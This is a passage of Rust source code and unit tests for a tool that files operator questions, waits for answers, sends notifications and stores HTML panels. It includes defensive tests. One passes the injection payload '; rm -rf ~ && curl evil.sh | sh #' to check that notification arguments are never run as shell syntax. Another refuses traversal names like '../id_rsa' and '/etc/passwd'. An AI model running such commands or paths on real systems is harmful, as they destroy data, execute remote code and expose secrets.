1755 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1756 let (fresh, unread) = store
1760 .update(&q.id, |r| {
1761 let unread = r.unread_from_owner();
1762 if unread.is_none() {
1763 r.abandon(&why);
1764 r.waiter = None;
1765 }
1766 Ok(unread)
1767 })
1768 .context("record the abandoned question")?;
1769 *q = fresh;
1770 if let Some(said) = unread {
1771 return Ok(Wait::Replied(said));
1772 }
1773 tracing::warn!(
1774 "question {} went unanswered for {}s; the run parks and the \
1775 question stays as the record of it",
1776 q.short(),
1777 timeout.as_secs()
1778 );
1779 return Ok(Wait::Abandoned);
1780 }
1781 tokio::time::sleep(poll.min(deadline - now)).await;
1782 store.beat(&q.id, WaiterKind::Asker);
1783 match store.get(&q.id) {
1784 Ok(fresh) if !fresh.status.open() => {
1785 *q = fresh;
1789 return Ok(match q.resolution() {
1790 Some(a) => Wait::Answered(a),
1791 None => Wait::Abandoned,
1794 });
1795 }
1796 Ok(fresh) => {
1797 if let Some(said) = fresh.unread_from_owner() {
1798 *q = fresh;
1799 return Ok(Wait::Replied(said));
1800 }
1801 }
1804 Err(e) => {
1805 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1809 }
1810 }
1811 }
1812}
1813
1814pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1825 notify_text(cmd, &q.run, &q.summary).await
1826}
1827
1828pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1831 let Some((program, args)) = cmd.command.split_first() else {
1832 return Ok(());
1834 };
1835 let url = web_url();
1836 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1837 tracing::warn!(
1838 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1839 so the link will be empty - export it next to `magi serve` with \
1840 the address `magi web --open` printed"
1841 );
1842 }
1843 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1844 tracing::debug!(program = %program, args = ?argv, "notifying");
1845
1846 let mut child = tokio::process::Command::new(program);
1847 child.quiet();
1848 child
1849 .args(&argv)
1850 .stdin(std::process::Stdio::null())
1851 .kill_on_drop(true);
1854 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1855 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1856 Err(_) => bail!(
1857 "notification command `{program}` did not finish within {}s",
1858 NOTIFY_TIMEOUT.as_secs()
1859 ),
1860 };
1861 if !out.status.success() {
1862 let stderr = String::from_utf8_lossy(&out.stderr);
1863 let why = stderr
1864 .lines()
1865 .rev()
1866 .find(|l| !l.trim().is_empty())
1867 .unwrap_or("no output on stderr")
1868 .trim();
1869 bail!(
1870 "notification command `{program}` exited with {}: {why}",
1871 out.status
1872 );
1873 }
1874 Ok(())
1875}
1876
1877fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1883 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1884 let mut out = String::with_capacity(template.len());
1885 let mut rest = template;
1886 while let Some(at) = rest.find('{') {
1887 out.push_str(&rest[..at]);
1888 let tail = &rest[at..];
1889 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1890 Some((token, value)) => {
1891 out.push_str(value);
1892 rest = &tail[token.len()..];
1893 }
1894 None => {
1895 out.push('{');
1897 rest = &tail[1..];
1898 }
1899 }
1900 }
1901 out.push_str(rest);
1902 out
1903}
1904
1905fn web_url() -> String {
1907 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1908}
1909
1910fn question_url(base: &str) -> String {
1917 let base = base.trim().trim_end_matches('/');
1918 if base.is_empty() || base.contains('#') {
1919 return base.to_owned();
1920 }
1921 format!("{base}/#/questions")
1922}
1923
1924fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1929 let index = dir.join(PANEL_HTML);
1930 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1931 for (name, src) in assets {
1932 let dst = dir.join(name);
1933 std::fs::copy(src, &dst)
1934 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1935 }
1936 Ok(())
1937}
1938
1939fn clear_dir(path: &Path) -> Result<()> {
1944 match std::fs::remove_dir_all(path) {
1945 Ok(()) => Ok(()),
1946 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1947 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1948 }
1949}
1950
1951fn read_path(path: &Path) -> Result<Question> {
1952 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1953 let q: Question =
1954 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1955 if q.schema > SCHEMA {
1956 bail!(
1961 "question {} was written by a newer magi (schema {}, this build \
1962 only speaks up to {SCHEMA})",
1963 q.id,
1964 q.schema
1965 );
1966 }
1967 Ok(q)
1968}
1969
1970pub fn short_id(id: &str) -> &str {
1972 short(id)
1973}
1974
1975fn short(id: &str) -> &str {
1976 id.split('-').next_back().unwrap_or(id)
1977}
1978
1979fn new_id() -> String {
1980 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1981 let seed = crate::rng::entropy();
1982 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1983}
1984
1985#[cfg(test)]
1986mod tests {
1987 use super::*;
1988
1989 fn store() -> (tempfile::TempDir, Questions) {
1992 let dir = tempfile::tempdir().unwrap();
1993 let s = Questions::at(dir.path().join("questions"));
1994 (dir, s)
1995 }
1996
1997 #[test]
1998 fn run_names_task_only_for_task_questions() {
1999 for (node, want) in [
2000 (crate::conduct::NODE, true),
2001 (crate::triage::NODE, true),
2002 (crate::triage::DEPS_NODE, true),
2003 (crate::land::APPROVAL_NODE, false),
2004 (crate::bump::NOTICE_NODE, false),
2005 ("implement", false),
2006 ] {
2007 let mut q = choice_question();
2008 q.node = node.to_owned();
2009 assert_eq!(q.run_names_task(), want, "{node}");
2010 }
2011 }
2012
2013 #[test]
2014 fn deleting_a_run_stops_its_questions_asking() {
2015 let (_dir, store) = store();
2016
2017 let mut open_one = choice_question();
2018 store.put(&mut open_one).unwrap();
2019 let mut answered = free_question();
2020 answered
2021 .answer(Answer::Text("keep this".to_owned()))
2022 .unwrap();
2023 store.put(&mut answered).unwrap();
2024 let mut elsewhere = choice_question();
2025 elsewhere.run = "20260903-105039-3cbf".to_owned();
2026 store.put(&mut elsewhere).unwrap();
2027
2028 let n = store
2029 .abandon_for_run(&open_one.run, "run was deleted")
2030 .unwrap();
2031 assert_eq!(n, 1, "only the open question of that run");
2032
2033 let back = store.get(&open_one.id).unwrap();
2034 assert!(!back.status.open(), "it no longer asks for a decision");
2035 assert!(
2036 back.detail.contains("run was deleted"),
2037 "the operator can see why: {}",
2038 back.detail
2039 );
2040
2041 let kept = store.get(&answered.id).unwrap();
2042 assert_eq!(
2043 kept.status,
2044 QuestionStatus::Answered,
2045 "an answered question is a decision on record, not something to revoke"
2046 );
2047 assert!(
2048 store.get(&elsewhere.id).unwrap().status.open(),
2049 "another run's question is untouched"
2050 );
2051 assert!(store.open_for(&open_one.run).is_empty());
2052 }
2053
2054 #[test]
2055 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2056 let (_dir, store) = store();
2057 let mut q = choice_question();
2058 store.put(&mut q).unwrap();
2059
2060 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2062 assert_eq!(n, 0);
2063 assert!(store.get(&q.id).unwrap().status.open());
2064
2065 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2068 assert_eq!(n, 1);
2069 let back = store.get(&q.id).unwrap();
2070 assert!(!back.status.open());
2071 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2072
2073 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2075 }
2076
2077 fn choice_question() -> Question {
2078 Question::new(
2079 "20260902-201256-9fb7".to_owned(),
2080 "implement".to_owned(),
2081 "impl-A".to_owned(),
2082 "Which storage backend should the cache use?".to_owned(),
2083 "Both are already dependencies.".to_owned(),
2084 vec!["SQLite".to_owned(), "Redis".to_owned()],
2085 )
2086 }
2087
2088 fn free_question() -> Question {
2089 Question::new(
2090 "20260902-201256-9fb7".to_owned(),
2091 "review".to_owned(),
2092 "rev-1".to_owned(),
2093 "What should the error message say?".to_owned(),
2094 String::new(),
2095 Vec::new(),
2096 )
2097 }
2098
2099 fn quiet() -> config::Notify {
2101 config::Notify::default()
2102 }
2103
2104 #[test]
2105 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2106 let mut q = choice_question();
2110 q.id = "20260902-231501-ab12".to_owned();
2111 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2112 let keys: Vec<&str> = open
2116 .as_object()
2117 .unwrap()
2118 .keys()
2119 .map(String::as_str)
2120 .collect();
2121 assert_eq!(
2122 keys,
2123 [
2124 "actions",
2125 "answer",
2126 "answer_delivered",
2127 "answer_timeout",
2128 "answered_at",
2129 "asked_at",
2130 "assets",
2131 "choices",
2132 "consult",
2133 "cwd",
2134 "delivered_turns",
2135 "deputy",
2136 "detail",
2137 "id",
2138 "node",
2139 "panel",
2140 "run",
2141 "schema",
2142 "seat",
2143 "status",
2144 "summary",
2145 "thread",
2146 "triage_generation",
2147 "waiter",
2148 ],
2149 "the on-disk field set is a contract with the front end"
2150 );
2151 assert_eq!(open["schema"], 10);
2152 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2153 assert_eq!(open["thread"], serde_json::json!([]));
2154 assert_eq!(open["id"], "20260902-231501-ab12");
2155 assert_eq!(open["run"], "20260902-201256-9fb7");
2156 assert_eq!(open["node"], "implement");
2157 assert_eq!(open["seat"], "impl-A");
2158 assert_eq!(open["status"], "open");
2159 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2160 assert_eq!(open["answered_at"], serde_json::Value::Null);
2161 assert_eq!(open["answer"], serde_json::Value::Null);
2162 let asked = open["asked_at"].as_str().unwrap();
2163 assert!(
2164 asked.ends_with('Z') && asked.contains('T'),
2165 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2166 );
2167
2168 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2170 let answered = serde_json::to_value(&q).unwrap();
2171 assert_eq!(answered["status"], "answered");
2172 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2173 assert!(answered["answered_at"].is_string());
2174
2175 let mut free = free_question();
2177 free.answer(Answer::Text("Say which file it was".to_owned()))
2178 .unwrap();
2179 assert_eq!(
2180 serde_json::to_value(&free).unwrap()["answer"],
2181 serde_json::json!({"text": "Say which file it was"})
2182 );
2183
2184 let body = serde_json::to_string(&q).unwrap();
2186 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2187 }
2188
2189 #[test]
2190 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2191 let mut unoffered = choice_question();
2194 let a = unoffered
2195 .answer(Answer::Choice("Postgres".to_owned()))
2196 .unwrap_err()
2197 .to_string();
2198
2199 let mut typed = choice_question();
2200 let b = typed
2201 .answer(Answer::Text("use Postgres".to_owned()))
2202 .unwrap_err()
2203 .to_string();
2204
2205 let mut blank = free_question();
2206 let c = blank
2207 .answer(Answer::Text(" \n".to_owned()))
2208 .unwrap_err()
2209 .to_string();
2210
2211 let mut twice = choice_question();
2212 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2213 let d = twice
2214 .answer(Answer::Choice("Redis".to_owned()))
2215 .unwrap_err()
2216 .to_string();
2217
2218 assert!(a.contains("not one of the choices"), "{a}");
2219 assert!(b.contains("multiple choice"), "{b}");
2220 assert!(c.contains("empty"), "{c}");
2221 assert!(d.contains("already answered"), "{d}");
2222 let mut distinct = vec![a, b, c, d];
2223 let asked = distinct.len();
2224 distinct.sort_unstable();
2225 distinct.dedup();
2226 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2227
2228 assert_eq!(unoffered.status, QuestionStatus::Open);
2230 assert_eq!(typed.status, QuestionStatus::Open);
2231 assert_eq!(blank.status, QuestionStatus::Open);
2232 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2234
2235 let mut free = free_question();
2237 let e = free
2238 .answer(Answer::Choice("SQLite".to_owned()))
2239 .unwrap_err()
2240 .to_string();
2241 assert!(e.contains("free text"), "{e}");
2242 }
2243
2244 #[test]
2245 fn open_questions_are_listed_before_answered_ones() {
2246 let (_dir, s) = store();
2247 let mut old_open = choice_question();
2250 old_open.id = "20260101-000001-aaaa".to_owned();
2251 let mut new_open = choice_question();
2252 new_open.id = "20260101-000002-bbbb".to_owned();
2253 let mut answered = choice_question();
2254 answered.id = "20260101-000003-cccc".to_owned();
2255 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2256 for q in [&mut old_open, &mut new_open, &mut answered] {
2257 s.put(q).unwrap();
2258 }
2259
2260 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2261 assert_eq!(
2262 ids,
2263 [
2264 "20260101-000002-bbbb",
2265 "20260101-000001-aaaa",
2266 "20260101-000003-cccc"
2267 ],
2268 "what has stopped work comes first; history sorts underneath"
2269 );
2270 assert_eq!(s.count_open(), 2);
2271 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2272 assert!(s.open_for("some-other-run").is_empty());
2273 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2275 assert!(s.get("20260101-000002-bbbb").is_ok());
2276 assert!(s.resolve_id("nope").is_err());
2277 assert!(
2278 s.revision() > 0,
2279 "the store's mtime drives the phone's polling"
2280 );
2281 }
2282
2283 #[test]
2284 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2285 let (_dir, s) = store();
2286 let mut good = choice_question();
2287 s.put(&mut good).unwrap();
2288 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2290 let future = serde_json::json!({
2291 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2292 "seat": "s", "summary": "?", "detail": "", "choices": [],
2293 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2294 "answered_at": null, "answer": null,
2295 });
2296 std::fs::write(
2297 s.path_of("20260101-000010-beef"),
2298 serde_json::to_string(&future).unwrap(),
2299 )
2300 .unwrap();
2301
2302 let listed = s.list();
2303 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2304 assert_eq!(listed[0].id, good.id);
2305 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2307 assert!(e.contains("schema"), "{e}");
2308 }
2309
2310 #[tokio::test]
2311 async fn the_wait_returns_the_answer_another_process_wrote() {
2312 let (dir, s) = store();
2317 let mut q = choice_question();
2318 let id = q.id.clone();
2319 let writer = Questions::at(dir.path().join("questions"));
2320 let handle = tokio::spawn(async move {
2321 tokio::time::sleep(Duration::from_millis(30)).await;
2322 let mut fresh = writer.get(&id).expect("the question was filed first");
2323 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2324 writer.put(&mut fresh).unwrap();
2325 });
2326
2327 let got = wait_for_owner(
2328 &mut q,
2329 &s,
2330 &quiet(),
2331 Duration::from_secs(5),
2332 Duration::from_millis(10),
2333 )
2334 .await
2335 .unwrap();
2336
2337 handle.await.unwrap();
2338 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2339 assert_eq!(
2340 q.status,
2341 QuestionStatus::Answered,
2342 "the caller's copy is refreshed from the answering process's record"
2343 );
2344 assert!(q.answered_at.is_some());
2345 }
2346
2347 #[tokio::test]
2348 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2349 let (_dir, s) = store();
2350 let mut q = choice_question();
2351
2352 let got = wait_for_owner(
2353 &mut q,
2354 &s,
2355 &quiet(),
2356 Duration::from_millis(60),
2357 Duration::from_millis(10),
2358 )
2359 .await
2360 .unwrap();
2361
2362 assert_eq!(
2363 got,
2364 Wait::Abandoned,
2365 "a slow human is not an error; the run parks"
2366 );
2367 assert_eq!(q.status, QuestionStatus::Abandoned);
2368 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2369 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2370 assert!(
2371 on_disk.detail.contains("Abandoned:"),
2372 "why nobody answered belongs with the question: {}",
2373 on_disk.detail
2374 );
2375 assert!(on_disk.resolution().is_none());
2376 assert_eq!(s.count_open(), 0);
2377 }
2378
2379 #[tokio::test]
2380 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2381 let (_dir, s) = store();
2386 let mut q = choice_question();
2387 s.put(&mut q).unwrap();
2388
2389 let got = wait_loop(
2390 &mut q,
2391 &s,
2392 Duration::from_secs(3600),
2393 Duration::from_millis(30),
2394 Duration::from_millis(10),
2395 )
2396 .await
2397 .unwrap();
2398
2399 assert_eq!(
2400 got,
2401 Wait::Pending,
2402 "the clock on this call ran out, not the owner's patience"
2403 );
2404 assert_eq!(
2405 q.status,
2406 QuestionStatus::Open,
2407 "a slice expiring must never abandon the question"
2408 );
2409 let on_disk = s.get(&q.id).expect("still on disk, still open");
2410 assert_eq!(
2411 on_disk.status,
2412 QuestionStatus::Open,
2413 "nothing about the record changed just because this call gave up"
2414 );
2415 }
2416
2417 #[tokio::test]
2418 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2419 let (dir, s) = store();
2424 let mut q = choice_question();
2425 s.put(&mut q).unwrap();
2426
2427 let first = wait_loop(
2428 &mut q,
2429 &s,
2430 Duration::from_secs(3600),
2431 Duration::from_millis(30),
2432 Duration::from_millis(10),
2433 )
2434 .await
2435 .unwrap();
2436 assert_eq!(first, Wait::Pending);
2437
2438 let id = q.id.clone();
2439 let writer = Questions::at(dir.path().join("questions"));
2440 let mut fresh = writer.get(&id).unwrap();
2441 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2442 writer.put(&mut fresh).unwrap();
2443
2444 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2449 .await
2450 .unwrap();
2451 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2452 assert_eq!(q.status, QuestionStatus::Answered);
2453 }
2454
2455 #[tokio::test]
2456 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2457 let (dir, s) = store();
2467 let mut q = choice_question();
2468 s.put(&mut q).unwrap();
2469
2470 let first = wait_loop(
2471 &mut q,
2472 &s,
2473 Duration::from_secs(3600),
2474 Duration::from_millis(30),
2475 Duration::from_millis(10),
2476 )
2477 .await
2478 .unwrap();
2479 assert_eq!(first, Wait::Pending);
2480
2481 let id = q.id.clone();
2483 let writer = Questions::at(dir.path().join("questions"));
2484 let mut fresh = writer.get(&id).unwrap();
2485 fresh.say("why not Postgres?").unwrap();
2486 writer.put(&mut fresh).unwrap();
2487
2488 let mut resumed = s.get(&id).unwrap();
2492 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2493 .await
2494 .unwrap();
2495 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2496 assert_eq!(
2497 resumed.status,
2498 QuestionStatus::Open,
2499 "talking back is not a decision; the question stays open"
2500 );
2501 }
2502
2503 #[tokio::test]
2504 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2505 let (dir, s) = store();
2509 let broken = config::Notify {
2510 command: vec![
2511 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2512 "{summary}".to_owned(),
2513 ],
2514 };
2515 let mut q = choice_question();
2516 assert!(
2517 notify(&broken, &q).await.is_err(),
2518 "the caller is told; it decides that it does not matter"
2519 );
2520
2521 let id = q.id.clone();
2522 let writer = Questions::at(dir.path().join("questions"));
2523 let handle = tokio::spawn(async move {
2524 tokio::time::sleep(Duration::from_millis(30)).await;
2525 let mut fresh = writer.get(&id).unwrap();
2526 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2527 writer.put(&mut fresh).unwrap();
2528 });
2529 let got = wait_for_owner(
2530 &mut q,
2531 &s,
2532 &broken,
2533 Duration::from_secs(5),
2534 Duration::from_millis(10),
2535 )
2536 .await
2537 .unwrap();
2538 handle.await.unwrap();
2539 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2540
2541 assert!(notify(&quiet(), &q).await.is_ok());
2543 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2544 }
2545
2546 #[test]
2547 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2548 let mut q = choice_question();
2549 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2550 let template = [
2551 "ntfy".to_owned(),
2552 "publish".to_owned(),
2553 "--click".to_owned(),
2554 "{url}".to_owned(),
2555 "--title".to_owned(),
2556 "magi {run} needs you".to_owned(),
2557 "{summary}".to_owned(),
2558 ];
2559 let argv: Vec<String> = template
2560 .iter()
2561 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2562 .collect();
2563
2564 assert_eq!(
2565 argv,
2566 [
2567 "ntfy",
2568 "publish",
2569 "--click",
2570 "http://100.64.0.1:7777/#/questions",
2571 "--title",
2572 "magi 20260902-201256-9fb7 needs you",
2573 "; rm -rf ~ && curl evil.sh | sh #",
2574 ],
2575 "the shell metacharacters are one argument's contents, not syntax"
2576 );
2577
2578 q.summary = "should {url} be configurable?".to_owned();
2581 assert_eq!(
2582 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2583 "should {url} be configurable?"
2584 );
2585 assert_eq!(
2587 expand("{title}: {run}", &q.run, &q.summary, ""),
2588 "{title}: 20260902-201256-9fb7"
2589 );
2590 assert_eq!(
2591 expand("no placeholders", &q.run, &q.summary, "http://x"),
2592 "no placeholders"
2593 );
2594 }
2595
2596 #[test]
2597 fn the_notification_link_lands_on_the_view_that_can_answer() {
2598 assert_eq!(
2599 question_url("http://100.64.0.1:7777"),
2600 "http://100.64.0.1:7777/#/questions"
2601 );
2602 assert_eq!(
2603 question_url("http://100.64.0.1:7777/"),
2604 "http://100.64.0.1:7777/#/questions"
2605 );
2606 assert_eq!(
2608 question_url("http://magi.ts.net/#/runs"),
2609 "http://magi.ts.net/#/runs"
2610 );
2611 assert_eq!(question_url(" "), "");
2613 }
2614
2615 fn panelled() -> Question {
2617 let mut q = choice_question();
2618 q.id = "20260903-014455-ab12".to_owned();
2619 q
2620 }
2621
2622 #[test]
2623 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2624 let (dir, s) = store();
2625 let work = dir.path().join("worktree");
2626 std::fs::create_dir_all(&work).unwrap();
2627 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2628 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2629
2630 let mut q = panelled();
2631 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2632 s.put_panel(
2633 &mut q,
2634 html,
2635 &[work.join("table.png"), work.join("diff.svg")],
2636 )
2637 .unwrap();
2638 s.put(&mut q).unwrap();
2639
2640 assert!(q.panel);
2641 assert_eq!(
2642 q.assets,
2643 ["diff.svg", "table.png"],
2644 "sorted, not in the order the agent happened to pass them"
2645 );
2646 assert_eq!(
2647 s.panel_html(&q.id).as_deref(),
2648 Some(html),
2649 "the html is stored byte for byte; the agent authored the markup"
2650 );
2651 assert_eq!(
2652 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2653 Some(&b"<svg/>"[..])
2654 );
2655
2656 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2658 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2659 assert_eq!(json["panel"], true);
2660 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2661 let back = s.get(&q.id).unwrap();
2662 assert!(back.panel);
2663 assert_eq!(back.assets, q.assets);
2664
2665 std::fs::remove_dir_all(&work).unwrap();
2668 assert_eq!(
2669 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2670 Some(&b"\x89PNG"[..]),
2671 "a referenced asset would be gone with the worktree"
2672 );
2673 }
2674
2675 #[test]
2676 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2677 let (dir, s) = store();
2678 let mut q = panelled();
2679 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2680 s.put(&mut q).unwrap();
2681
2682 let secret = "this must never reach the browser";
2685 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2686 assert_eq!(
2687 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2688 secret,
2689 "the traversal is real: the operating system resolves this path \
2690 happily, which is why the name has to be refused before the join"
2691 );
2692
2693 let long = "x".repeat(200);
2694 for name in [
2695 "..",
2696 "../id_rsa",
2697 "..\\id_rsa",
2698 "sub/../id_rsa",
2699 "/",
2700 "\\",
2701 "/etc/passwd",
2702 "C:\\Windows\\win.ini",
2703 "",
2704 ".hidden",
2705 ".",
2706 long.as_str(),
2707 ] {
2708 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2709 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2710 assert!(
2711 e.contains("not a panel file name"),
2712 "`{name}` must be refused as a name, not attempted: {e}"
2713 );
2714 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2715 }
2716 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2719
2720 let hidden = dir.path().join(".hidden");
2723 std::fs::write(&hidden, "x").unwrap();
2724 let e = s
2725 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2726 .unwrap_err()
2727 .to_string();
2728 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2729 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2730 assert!(q.assets.is_empty());
2731 }
2732
2733 #[test]
2734 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2735 let (dir, s) = store();
2736 let mut q = panelled();
2737 s.put(&mut q).unwrap();
2738
2739 let big = dir.path().join("recording.png");
2742 std::fs::File::create(&big)
2743 .unwrap()
2744 .set_len(PANEL_MAX_BYTES)
2745 .unwrap();
2746
2747 let html = "<p>see the recording</p>";
2748 let total = PANEL_MAX_BYTES + html.len() as u64;
2749 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2750 assert!(
2751 e.contains(&PANEL_MAX_BYTES.to_string()),
2752 "the cap is named so the agent knows the limit: {e}"
2753 );
2754 assert!(
2755 e.contains(&total.to_string()),
2756 "the actual size is named so the agent knows by how much: {e}"
2757 );
2758
2759 assert!(!q.panel);
2760 assert!(q.assets.is_empty());
2761 let left: Vec<String> = std::fs::read_dir(s.root())
2762 .unwrap()
2763 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2764 .collect();
2765 assert_eq!(
2766 left,
2767 [format!("{}.json", q.id)],
2768 "a refused panel leaves neither a directory nor scratch: {left:?}"
2769 );
2770 }
2771
2772 #[test]
2773 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2774 let (dir, s) = store();
2775 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2776 std::fs::create_dir_all(&before).unwrap();
2777 std::fs::create_dir_all(&after).unwrap();
2778 std::fs::write(before.join("diff.png"), "before").unwrap();
2779 std::fs::write(after.join("diff.png"), "after").unwrap();
2780
2781 let mut q = panelled();
2782 let e = s
2783 .put_panel(
2784 &mut q,
2785 "<p>x</p>",
2786 &[before.join("diff.png"), after.join("diff.png")],
2787 )
2788 .unwrap_err()
2789 .to_string();
2790 assert!(e.contains("diff.png"), "{e}");
2791 assert!(
2792 e.contains("before") && e.contains("after"),
2793 "both sources are named, because the fix is to rename one: {e}"
2794 );
2795 assert!(!q.panel);
2796 assert!(!s.panel_dir(&q.id).exists());
2797 }
2798
2799 #[test]
2800 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2801 let (dir, s) = store();
2802 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2803 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2804
2805 let mut q = panelled();
2806 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2807 .unwrap();
2808 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2809 .unwrap();
2810
2811 assert_eq!(q.assets, ["new.png"]);
2812 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2813 assert!(
2814 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2815 "an asset from the first attempt would show a mix of two answers"
2816 );
2817
2818 s.drop_panel(&q.id).unwrap();
2819 assert!(s.panel_html(&q.id).is_none());
2820 assert!(!s.panel_dir(&q.id).exists());
2821 s.drop_panel(&q.id)
2822 .expect("dropping a panel that is already gone is the desired state");
2823 }
2824
2825 #[test]
2826 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2827 let (_dir, s) = store();
2828 let mut q = panelled();
2829 s.put(&mut q).unwrap();
2830
2831 assert!(!q.panel);
2832 assert!(s.panel_html(&q.id).is_none());
2833 assert!(
2834 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2835 "a missing file is a 404 for the caller, not a failure of the store"
2836 );
2837 let json = serde_json::to_value(&q).unwrap();
2838 assert_eq!(json["panel"], false);
2839 assert_eq!(json["assets"], serde_json::json!([]));
2840
2841 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2844 assert!(e.contains("empty panel"), "{e}");
2845 assert!(!s.panel_dir(&q.id).exists());
2846 }
2847
2848 #[test]
2849 fn a_question_written_before_panels_existed_still_deserialises() {
2850 let (_dir, s) = store();
2851 std::fs::create_dir_all(s.root()).unwrap();
2852 let id = "20260902-231501-ab12";
2853 let body = r#"{
2855 "schema": 1,
2856 "id": "20260902-231501-ab12",
2857 "run": "20260902-201256-9fb7",
2858 "node": "implement",
2859 "seat": "impl-A",
